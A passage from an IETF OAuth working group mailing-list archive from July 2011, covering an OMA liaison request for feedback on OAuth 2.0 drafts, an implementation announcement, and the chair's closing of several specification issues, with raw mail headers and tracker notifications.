it! Jerome has volunteered to answer all questions, and he is both the right and the best person for that. I would like to point out the action of the liaison, which I reproduce here verbatim: "IETF OAuthWG is kindly invited to provide feedback on the points highlighted in this letter: ·Availability of the IETF OAuth specifications: especially [draft-ietf-oauth-v2] and [draft-ietf-oauth-v2-bearer], and also [draft-hammer-oauth-v2-mac-token], [draft-lodderstedt-oauth-revocation] and [draft-recordon-oauth-v2-ux]. ·Availability of the OAuth Parameters Registry ·IETF intent to specify an OAuth Discovery mechanism ·Considerations that can help implementors decide about the type of OAuth access token to deploy. ·For bearer tokens: clarification whether the non-support of percent encoding for scope-velement of WWW-Authenticate Response Header Field grammar is intentional." As these are purely technical questions, some of them relating to our plans, I just thought it might be a good to present them to the list ASAP so that the answers come early. At this point, I am done with what I thought my job was here. Jerome will pick this conversation from now on. Igor On 7/1/2011 5:53 PM, Igor Faynberg wrote: > Torsten, > > With many thanks for the note, I think it would be great if you > documented the implementation report in an Informational RFC. In > particular, the SIM-based authentication part is of particular > interest here--we had this discussion on this list recently-- as it > naturally extends the use of the Internet protocols in the telecom > environment. > > I also think that such an implementation report would influence > positively the OAuth profiling work that is taking place in ITU-T, > OMA and other places. > > Igor > > On 7/1/2011 5:19 PM, Torsten Lodderstedt wrote: >> Hi all, >> >> I would like to announce that we recently launched OAuth 2.0 support >> in our Security Token Service. It will be used in upcoming consumer >> products (e.g. Smartphone apps). >> >> The current implementation supports draft 10 (but is also inline with >> the latest text on native apps). It has the following additional >> features: >> - Issuance of multiple tokens for different services in single >> authorization process (Bulk User Authorization) >> - Token revocation >> (http://datatracker.ietf.org/doc/draft-lodderstedt-oauth-revocation/) >> - custom grant types for token exchange and SIM card authentication >> - Token replacement >> - Parameter to explicitely request refresh token for "Resource Owner >> Password Credentials" grant type >> >> regards, >> Torsten. >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --------------060005080705020001070004 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Friends,

I have intentionally used this thread, on which 1001 messages ago I mentioned the OMA and ITU-T work. Since then I got several private queries, and I am happy to say that the liaison from OMA has arrived (although it has a little glitch, which made me write this otherwise redundant message): https://datatracker.ietf.org/liaison/1069/.  The glitch is that the liaison description mistakenly says that 1) the liaison is sent for information and 2) that there is no deadline in response. Section 3 of the document, however, specifies an action for the IETF, and it also gives the deadline of the end of August.  This is why I wanted to get the immediate attention. (Another little glitch is that it was supposed to be copied to the OAuth WG, according to the CC list, but this did not happen.)

I must say up fornt  that I do NOT represent OMA and have no authority whatsoever to speak for it.  The reason I am involved in this is because I have been an ardent supporter of OAuth both in my company and in the telecom industry and it has been my vision that  the telecom adapt OAuth and combine it with the mobile authentication methods--well I had spoken a lot about that on this list and indicated just this interest in the early profile query. This should make it clear why I am so enthusiastic about OAuth being accepted, and I would like to make sure that we help transition this great product of the OAuth WG. OMA is the center for standardizing mobile applications infrastructure, and its standards are widely used in telecommunictiations industry.

Now,  OMA has appointed an official Liaison Officer whose role is to speak for OMA officially. In addition, the response--if produced in written form--should by sent to Zhiyuan Hu, who chairs the OMA security group.  Handling the liaisons is the IAB job, and the decision on how to process this specific one belongs to OAuth chairmen inasmuch as it has been directed to OAuth. Having dealt with this procedure before, I understand that the communication can emanate directly from them or   IAB can appoint a liaison to OMA, who will convey future communications.  But this is a procedural matter, and I am sure it will be well sorted out. (In fact, I remember Barry dealing with the OMA liaison in his other group quite expertly.)

The technical lead for this work in OMA is my colleague Jerome Marcon (copied here).  Jerome knows OAuth as only developers do -- he has implemented it! Jerome has volunteered to answer all questions, and he is both the right and the best person for that.

I would like to point out the action of the liaison, which I reproduce here verbatim:

"IETF OAuth WG is kindly invited to provide feedback on the points highlighted in this letter:

·         Availability of the IETF OAuth specifications: especially [draft-ietf-oauth-v2] and [draft-ietf-oauth-v2-bearer], and also [draft-hammer-oauth-v2-mac-token], [draft-lodderstedt-oauth-revocation] and [draft-recordon-oauth-v2-ux].

·         Availability of the OAuth Parameters Registry

·         IETF intent to specify an OAuth Discovery mechanism

·         Considerations that can help implementors decide about the type of OAuth access token to deploy.

·         For bearer tokens: clarification whether the non-support of percent encoding for scope-v element of WWW-Authenticate Response Header Field grammar is intentional."

As these are purely technical questions, some of them relating to our plans, I just thought it might be a good to present them to the list ASAP so that the answers come early.

At this point, I am done with what I thought my job was here. Jerome will pick this conversation from now on.

Igor



On 7/1/2011 5:53 PM, Igor Faynberg wrote:
Torsten,

With many thanks for the note, I think it would be great if you documented the implementation report in an Informational RFC.  In particular, the SIM-based authentication part is of particular interest here--we had this discussion on this list recently-- as it naturally extends the use of the Internet protocols in the telecom environment.

I also think that such an implementation report would influence positively  the OAuth profiling work that is taking  place in ITU-T, OMA and other places.

Igor

On 7/1/2011 5:19 PM, Torsten Lodderstedt wrote:
Hi all,

I would like to announce that we recently launched OAuth 2.0 support in our Security Token Service. It will be used in upcoming consumer products (e.g. Smartphone apps).

The current implementation supports draft 10 (but is also inline with the latest text on native apps). It has the following additional features:
- Issuance of multiple tokens for different services in single authorization process (Bulk User Authorization)
- Token revocation (http://datatracker.ietf.org/doc/draft-lodderstedt-oauth-revocation/)
- custom grant types for token exchange and SIM card authentication
- Token replacement
- Parameter to explicitely request refresh token for "Resource Owner Password Credentials" grant type

regards,
Torsten.
_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
--------------060005080705020001070004-- From barryleiba.mailing.lists@gmail.com Fri Jul 22 07:02:43 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 47E7C21F8794 for ; Fri, 22 Jul 2011 07:02:43 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.093 X-Spam-Level: X-Spam-Status: No, score=-103.093 tagged_above=-999 required=5 tests=[AWL=-0.116, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id t0dMZb6qlObN for ; Fri, 22 Jul 2011 07:02:43 -0700 (PDT) Received: from mail-gy0-f172.google.com (mail-gy0-f172.google.com [209.85.160.172]) by ietfa.amsl.com (Postfix) with ESMTP id D248321F877D for ; Fri, 22 Jul 2011 07:02:42 -0700 (PDT) Received: by gyd5 with SMTP id 5so1377717gyd.31 for ; Fri, 22 Jul 2011 07:02:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=nhv1zeEf/0wbbPU/TnbJspDSPDPrsVCh/NYi6BBufog=; b=ZjpRZEOiM9+tGFX/yRnoOLrXCG5P91NwwS0yJHmTl/nNSLDLjsWejZ1Mb36vVNmL3p bfrFbkHeMjM7D2ddMYJBy/qGPzpEhSxs058nIpoftX0dMi1CHRBTMzL9UsuSVnyH6TGM /OkZ/xQghZlC/E6KTh35JGsTEdhVIK7bpjfnA= MIME-Version: 1.0 Received: by 10.236.191.198 with SMTP id g46mr2026606yhn.498.1311343362354; Fri, 22 Jul 2011 07:02:42 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.172.10 with HTTP; Fri, 22 Jul 2011 07:02:42 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 22 Jul 2011 10:02:42 -0400 X-Google-Sender-Auth: 3c6ntTgjZne1CHF6ADXY6qPYfxU Message-ID: From: Barry Leiba To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] Request to close issues X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:02:43 -0000 > I would like to ask the chairs to close the following issues: > > #15 section 2 > #16 section 3.1.2 > #17 section 3.2.1 Having seen no objection to this, I will close these three as "fixed" now. Barry, as chair From trac+oauth@trac.tools.ietf.org Fri Jul 22 07:03:30 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 14D2C21F867A for ; Fri, 22 Jul 2011 07:03:30 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Wc4yr1o7DvA6 for ; Fri, 22 Jul 2011 07:03:29 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id BC68321F85CA for ; Fri, 22 Jul 2011 07:03:29 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QkGK7-00058n-Kt; Fri, 22 Jul 2011 07:03:27 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Fri, 22 Jul 2011 14:03:27 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/15#comment:1 Message-ID: <072.64a5442c6de728c84b5a410b11cb414c@trac.tools.ietf.org> References: <063.1c73d9f31aca439806643846ebcdcad1@trac.tools.ietf.org> X-Trac-Ticket-ID: 15 In-Reply-To: <063.1c73d9f31aca439806643846ebcdcad1@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #15: Consensus for new Client Registration section (2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:03:30 -0000 #15: Consensus for new Client Registration section (2) Changes (by barryleiba@…): * status: new => closed * resolution: => fixed -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Fri Jul 22 07:03:35 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D57BE21F8680 for ; Fri, 22 Jul 2011 07:03:35 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id OSh9aD8iRDBk for ; Fri, 22 Jul 2011 07:03:35 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 8294221F85B9 for ; Fri, 22 Jul 2011 07:03:35 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QkGKF-00058z-G8; Fri, 22 Jul 2011 07:03:35 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Fri, 22 Jul 2011 14:03:35 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/16#comment:1 Message-ID: <072.d136d3c842953d00fa92d9eba9ebf14a@trac.tools.ietf.org> References: <063.d60e7bb0b86afe5f377898a497f019c0@trac.tools.ietf.org> X-Trac-Ticket-ID: 16 In-Reply-To: <063.d60e7bb0b86afe5f377898a497f019c0@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #16: Consensus for revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:03:36 -0000 #16: Consensus for revised Redirection URI section (3.1.2) Changes (by barryleiba@…): * status: new => closed * resolution: => fixed -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Fri Jul 22 07:03:42 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B833721F87BD for ; Fri, 22 Jul 2011 07:03:42 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.044 X-Spam-Level: X-Spam-Status: No, score=-105.044 tagged_above=-999 required=5 tests=[AWL=1.555, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yIiBZX3S4-SQ for ; Fri, 22 Jul 2011 07:03:42 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [64.170.98.42]) by ietfa.amsl.com (Postfix) with ESMTP id 4A27421F85B9 for ; Fri, 22 Jul 2011 07:03:42 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QkGKM-000598-82; Fri, 22 Jul 2011 07:03:42 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Fri, 22 Jul 2011 14:03:42 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/17#comment:1 Message-ID: <072.bc81345ef0a7b554fe749df2ad5d295d@trac.tools.ietf.org> References: <063.2d6ae36d5f67c03691d56c0f7f2746f3@trac.tools.ietf.org> X-Trac-Ticket-ID: 17 In-Reply-To: <063.2d6ae36d5f67c03691d56c0f7f2746f3@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #17: Consensus for new token endpoint Client Authentication section (3.2.1) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:03:42 -0000 #17: Consensus for new token endpoint Client Authentication section (3.2.1) Changes (by barryleiba@…): * status: new => closed * resolution: => fixed -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | -------------------------------------+-------------------------------------- Ticket URL: oauth From barryleiba.mailing.lists@gmail.com Fri Jul 22 07:08:25 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6EF7D21F8761 for ; Fri, 22 Jul 2011 07:08:25 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.091 X-Spam-Level: X-Spam-Status: No, score=-103.091 tagged_above=-999 required=5 tests=[AWL=-0.114, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id uEyVwqysA2bR for ; Fri, 22 Jul 2011 07:08:25 -0700 (PDT) Received: from mail-yw0-f44.google.com (mail-yw0-f44.google.com [209.85.213.44]) by ietfa.amsl.com (Postfix) with ESMTP id 41AE421F86DF for ; Fri, 22 Jul 2011 07:08:22 -0700 (PDT) Received: by ywp31 with SMTP id 31so1389358ywp.31 for ; Fri, 22 Jul 2011 07:08:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=Aii2k/Tav+ODfJKzq22MQmhyGdIeLBdM4aI89xzEfXE=; b=pSMFKTl5P2SSrpnRbFppjmilZLp11QsPAqDwL0z4NA5s1Z4UAZ+WAPioEJ/GwSg9ZD I/2qHwx9VKRFAZ1r/XnWI9lHJMKr56MfijoSqsMrvTI8DnCpT10a04E/fygeRlrpK6u7 Qt7N7xouATgHSrqi2fAl2l22wzRszzphO4jcs= MIME-Version: 1.0 Received: by 10.236.179.36 with SMTP id g24mr2228306yhm.297.1311343701760; Fri, 22 Jul 2011 07:08:21 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.172.10 with HTTP; Fri, 22 Jul 2011 07:08:21 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345020652CD2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CD2@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 22 Jul 2011 10:08:21 -0400 X-Google-Sender-Auth: 9ZhCSWuQQxHdeKmYGC9TQd7Higk Message-ID: From: Barry Leiba To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG , "eran@sled.com" Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:08:25 -0000 > Looks like we have consensus for the new text. I'd like to ask the chairs > to close issue 18 (or note it resolved until the I-D freeze is over and I can > push a revised draft). I agree; it looks like folks are happy with this text. I'll close this one as well. If there's a problem in the -19 version of the draft, we can re-open it. Barry, as chair From trac+oauth@trac.tools.ietf.org Fri Jul 22 07:08:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8CBF421F899F for ; Fri, 22 Jul 2011 07:08:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.199 X-Spam-Level: X-Spam-Status: No, score=-105.199 tagged_above=-999 required=5 tests=[AWL=1.400, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id h3ZmvkThNN-6 for ; Fri, 22 Jul 2011 07:08:29 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [64.170.98.42]) by ietfa.amsl.com (Postfix) with ESMTP id 3435A21F87ED for ; Fri, 22 Jul 2011 07:08:29 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QkGOz-0005Ei-5E; Fri, 22 Jul 2011 07:08:29 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Fri, 22 Jul 2011 14:08:29 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/18#comment:1 Message-ID: <072.ac3c8ff65f54c059651004c3d5617266@trac.tools.ietf.org> References: <063.4203657f60eb3e8ec63e1c8214a83f74@trac.tools.ietf.org> X-Trac-Ticket-ID: 18 In-Reply-To: <063.4203657f60eb3e8ec63e1c8214a83f74@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #18: Consensus for new authorization endpoint response type extensibility (8.4) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:08:29 -0000 #18: Consensus for new authorization endpoint response type extensibility (8.4) Changes (by barryleiba@…): * status: new => closed * resolution: => fixed -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Fri Jul 22 07:08:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2044421F89CC for ; Fri, 22 Jul 2011 07:08:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.327 X-Spam-Level: X-Spam-Status: No, score=-105.327 tagged_above=-999 required=5 tests=[AWL=1.272, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lC2v43i-SCa9 for ; Fri, 22 Jul 2011 07:08:50 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [64.170.98.42]) by ietfa.amsl.com (Postfix) with ESMTP id C0DE021F86DF for ; Fri, 22 Jul 2011 07:08:50 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QkGPK-0005Er-OM; Fri, 22 Jul 2011 07:08:50 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Fri, 22 Jul 2011 14:08:50 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/18#comment:2 Message-ID: <072.99166c182d7056f3c68ee090c8b84828@trac.tools.ietf.org> References: <063.4203657f60eb3e8ec63e1c8214a83f74@trac.tools.ietf.org> X-Trac-Ticket-ID: 18 In-Reply-To: <063.4203657f60eb3e8ec63e1c8214a83f74@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #18: Consensus for new authorization endpoint response type extensibility (8.4) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 14:08:51 -0000 #18: Consensus for new authorization endpoint response type extensibility (8.4) Description changed by barryleiba@…: Old description: New description: Fix will be in -19 version of the draft. -- -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | -------------------------------------+-------------------------------------- Ticket URL: oauth From barryleiba.mailing.lists@gmail.com Fri Jul 22 07:12:40 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A6EFF21F867A for ; Fri, 22 Jul 2011 07:12:40 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.089 X-Spam-Level: X-Spam-Status: No, score=-103.089 tagged_above=-999 required=5 tests=[AWL=-0.112, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id XwxHdCEUTXQI for ; Fri, 22 Jul 2011 07:12:40 -0700 (PDT) Received: from mail-yw0-f44.google.com (mail-yw0-f44.google.com [209.85.213.44]) by ietfa.amsl.com (Postfix) with ESMTP id F3B1821F8891 for ; Fri, 22 Jul 2011 07:12:39 -0700 (PDT) Received: by ywp31 with SMTP id 31so1393729ywp.31 for ; Fri, 22 Jul 2011 07:12:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=S/MOWBYfnyJ6OW1BuHnXYmzg5ptXDCxMihAoMWvt/ro=; b=Seu9318wheIz7bbiP+lyULuzfhJmSgjRiNZHJcZqsBD6E972u/vvKGI1qArfumGZbx XrUFT1Tao6JwmlwMNauGsXGkxZIh4ISy5kZCCzmUmWKcecY4zkZiMp0MfASvP8VWOd8x MbISjsPNj2//9s3J2mYpjr+/GxB3EwR1GRWko= MIME-Version: 1.0 Received: by 10.236.191.198 with SMTP id g46mr2042749yhn.498.1311343958636; Fri, 22 Jul 2011 07:12:38 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.172.10 with HTTP; Fri, 22 Jul 2011 07:12:38 -0700 (PDT) In-Reply-To: References: <3D910011-72A9-4BED-824B-50E1990FC9C1@gmx.net> Date: Fri, 22 Jul 2011 10:12:38 -0400 X-Google-Sender-Auth: 